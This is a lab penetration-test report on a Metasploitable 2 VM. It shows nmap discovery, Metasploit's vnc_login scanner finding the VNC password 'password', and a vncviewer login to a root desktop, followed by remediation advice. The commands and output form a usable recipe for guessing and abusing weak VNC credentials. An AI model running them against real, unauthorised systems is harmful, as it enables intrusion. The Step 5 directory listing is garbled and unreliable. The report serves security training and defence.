

Exploitation of VNC Weak Authentication Using Nmap, Metasploit and VNC Viewer

Author: Sudip Bastola

Target System: Metasploitable 2 Linux VM (192.168.83.131)

Attacker Platform: Kali Linux (192.168.83.129)

Assessment Date: July 26, 2026

Executive Summary

A penetration testing was performed in a controlled laboratory setting with a view to checking the safety of the Virtual Network Computing (VNC) service operating on the virtual machine known as Metasploitable 2.

An examination of the service showed the device listening at TCP port 5900. Then, the Metasploit Framework was used for further inspections of the service and showed that it accepted a simple password which is "password". A VNC client was used after obtaining authentication from the service to launch a graphical session.

The authenticated session gave access to the desktop of the system (root) and thus led to its complete administrative control. The post-exploitation activities confirmed the ability to reach root privileges and some basic information concerning the system was collected for the verification of its jeopardy.

Risk Summary Matrix

Metric	Details
Maximum Risk Rating	High(8.8/10)
Primary Vulnerability	Weak VNC Authentication
Attack Vector	Remote Network Authentication
System Compromise	Root Graphical Desktop Access
Confidentiality	Complete access to the system data
Integrity	Full ability to modify system configuration
Availability	Full administrative control through remote desktop

Scope and Methodology

This assessment followed a five-phase penetration testing methodology:

- Reconnaissance
- Scanning & Enumeration
- Authentication Testing
- Post-Authentication Access
- Reporting

Technical Findings and Exploitation Phase

Finding: Weak VNC Authentication

Vulnerability Type: Weak Password/ Insecure Authentication

CVSS v3 Base Score: 8.8(high)

Access Vector: Network

Step1. Host Discovery

Objective: Identify active hosts within the network.

Command: `nmap -sn <target network>`

```
(root@kali)-[/home/sudip]
# nmap -sn 192.168.83.1/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-26 12:04 +0545
Nmap scan report for 192.168.83.1
Host is up (0.00090s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.83.2
Host is up (0.00063s latency).
MAC Address: 00:50:56:E8:C0:9E (VMware)
Nmap scan report for 192.168.83.131
Host is up (0.0019s latency).
MAC Address: 00:0C:29:79:6F:6F (VMware)
Nmap scan report for 192.168.83.254
Host is up (0.00059s latency).
MAC Address: 00:50:56:F5:6F:40 (VMware)
Nmap scan report for 192.168.83.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.95 seconds
```

Step2. Service Enumeration

Objective: Identify the VNC service running on the target.

Command: `nmap -sV -p <port_no> <target_ip>`

```
(root@kali)-[/home/sudip]
# nmap -sV -p 5900 192.168.83.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-26 12:04 +0545
Nmap scan report for 192.168.83.131
Host is up (0.00085s latency).

PORT      STATE SERVICE VERSION
5900/tcp  open  vnc      VNC (protocol 3.3)
MAC Address: 00:0C:29:79:6F:6F (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds
```

Step3. Authentication Testing using Metasploit

Objective: Determine whether the VNC service accepts weak credentials.

Command:

- msfconsole
- search scanner vnc_login
- use auxiliary/scanner/vnc/vnc_login
- set RHOSTS <target_ip>
- run

```
[*] metasploit v6.4.135-dev
+ -- --[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads
+ -- --[ 433 post - 49 encoders - 14 nops - 12 evasion
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search scanner vnc_login

Matching Modules
-----
#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  auxiliary/scanner/vnc/vnc_login          .               normal No      VNC Authentication Scanner

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/vnc/vnc_login

msf > use 0
msf auxiliary(scanner/vnc/vnc_login) > set rhosts 192.168.83.131
rhosts => 192.168.83.131
msf auxiliary(scanner/vnc/vnc_login) > run
[*] 192.168.83.131:5900 - 192.168.83.131:5900 - Starting VNC login sweep
[!] 192.168.83.131:5900 - No active DB -- Credential data will not be saved!
[+] 192.168.83.131:5900 - 192.168.83.131:5900 - Login Successful: :password
[*] 192.168.83.131:5900 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

This confirms that VNC service accepted the weak password.

Step4. Remote Desktop Access

Objective: Authenticate to the server using the discovered credentials.

Command: `vncviewer <target_ip>:<Port_no>`

```
(root@kali)-[/home/sudip]
# vncviewer 192.168.83.131:5900
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
```

The connection established a remote desktop session belonging to the root user.

Step5. Privilege Verification

The following commands are used to verify the administrative access.

- `whoami`
- `id`
- `hostname`
- `uname -a`
- `ls`

```
root@metasploitable:/# whoami
root
root@metasploitable:/# ls
FLTK 0kta 0p 0uK3 0v1n 0u0RYN 0s boot dev home initrd lib mnt opt proc root srv var-
Mjhl 0tTn P003 0vly bin cdrom etc iHl 0h 0u0vj initrd,img lost+found media nohup,out p0K0 0gkK 0eFCM r0K0 0gIzK 0uN sbin sys usr v0l1n0z
root@metasploitable:/# id
uid=0(root) gid=0(root)
root@metasploitable:/# hostname
metasploitable
root@metasploitable:/# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Post-Exploitation Validation

After obtaining access, several system, identification commands were executed.

Information collected includes:

- Current logged-in user
- User privileges
- Hostname
- Linux kernel version
- Root directory contents

This information verified successful compromise of the target system through authenticated VNC access.

Security Impact

Successful exploitation of the weak VNC password allowed attackers to :

- Obtain unauthorized remote graphical access.
- Authenticate directly to the root user's desktop.
- Execute administrative actions.
- Access sensitive files and configurations.
- Completely control the operating system through the graphical interface.

Remediation and Recommendations

Immediate Actions

- Replace weak VNC passwords with strong, unique passwords.
- Disable VNC if remote desktop functionality is unnecessary.
- Restrict TCP port 5900 using firewall rules.
- Permit VNC access only from trusted management hosts.

Long-Term Security Measures

- Require VPN or SSH tunneling before VNC access.
- Enable continuous monitoring of remote desktop connections.
- Perform periodic password audits.
- Regularly update and patch remote access services.
- Implement network segmentation to reduce exposure.

Disclaimer

This assessment was performed in a controlled laboratory environment for educational and research purposes. Testing was conducted only on systems owned or explicitly authorized for security assessment. Unauthorized access to third-party systems is illegal and unethical.